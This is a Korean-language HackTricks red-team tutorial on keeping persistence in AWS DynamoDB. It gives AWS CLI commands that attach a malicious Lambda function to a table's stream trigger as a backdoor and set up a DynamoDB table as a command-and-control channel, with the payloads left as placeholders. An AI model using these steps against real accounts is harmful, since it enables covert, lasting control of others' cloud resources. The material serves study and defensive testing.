AWS - DynamoDB Persistence

htARTE (HackTricks AWS Red Team Expert)를 통해 **제로부터 영웅까지 AWS 해킹 배우기**!

HackTricks를 지원하는 다른 방법:

DynamoDB

더 많은 정보를 얻으려면:

pageAWS - DynamoDB Enum

Lambda 백도어를 사용한 DynamoDB 트리거

DynamoDB 트리거를 사용하여 공격자는 악의적인 Lambda 함수를 테이블과 연결하여 은밀한 백도어를 만들 수 있습니다. Lambda 함수는 항목이 추가, 수정 또는 삭제될 때 트리거될 수 있어 공격자가 AWS 계정 내에서 임의의 코드를 실행할 수 있게 합니다.

# Create a malicious Lambda function
aws lambda create-function \
--function-name MaliciousFunction \
--runtime nodejs14.x \
--role <LAMBDA_ROLE_ARN> \
--handler index.handler \
--zip-file fileb://malicious_function.zip \
--region <region>

# Associate the Lambda function with the DynamoDB table as a trigger
aws dynamodbstreams describe-stream \
--table-name TargetTable \
--region <region>

# Note the "StreamArn" from the output
aws lambda create-event-source-mapping \
--function-name MaliciousFunction \
--event-source <STREAM_ARN> \
--region <region>

영속성을 유지하기 위해 공격자는 DynamoDB 테이블에 항목을 생성하거나 수정할 수 있습니다. 이로써 악의적인 람다 함수가 트리거됩니다. 이를 통해 공격자는 람다 함수와 직접 상호 작용하지 않고 AWS 계정 내에서 코드를 실행할 수 있습니다.

DynamoDB를 C2 채널로 사용하기

공격자는 DynamoDB 테이블을 명령 및 제어 (C2) 채널로 사용할 수 있습니다. 이를 위해 명령을 포함하는 항목을 생성하고, 감염된 인스턴스 또는 람다 함수를 사용하여 이러한 명령을 가져와 실행할 수 있습니다.

# Create a DynamoDB table for C2
aws dynamodb create-table \
--table-name C2Table \
--attribute-definitions AttributeName=CommandId,AttributeType=S \
--key-schema AttributeName=CommandId,KeyType=HASH \
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
--region <region>

# Insert a command into the table
aws dynamodb put-item \
--table-name C2Table \
--item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \
--region <region>
The compromised instances or Lambda functions can periodically check the C2 table for new commands, execute them, and optionally report the results back to the table. This allows the attacker to maintain persistence and control over the compromised resources.
제로부터 영웅이 될 때까지 AWS 해킹을 배우세요 htARTE (HackTricks AWS Red Team Expert)!

다른 방법으로 HackTricks를 지원하는 방법:

最終更新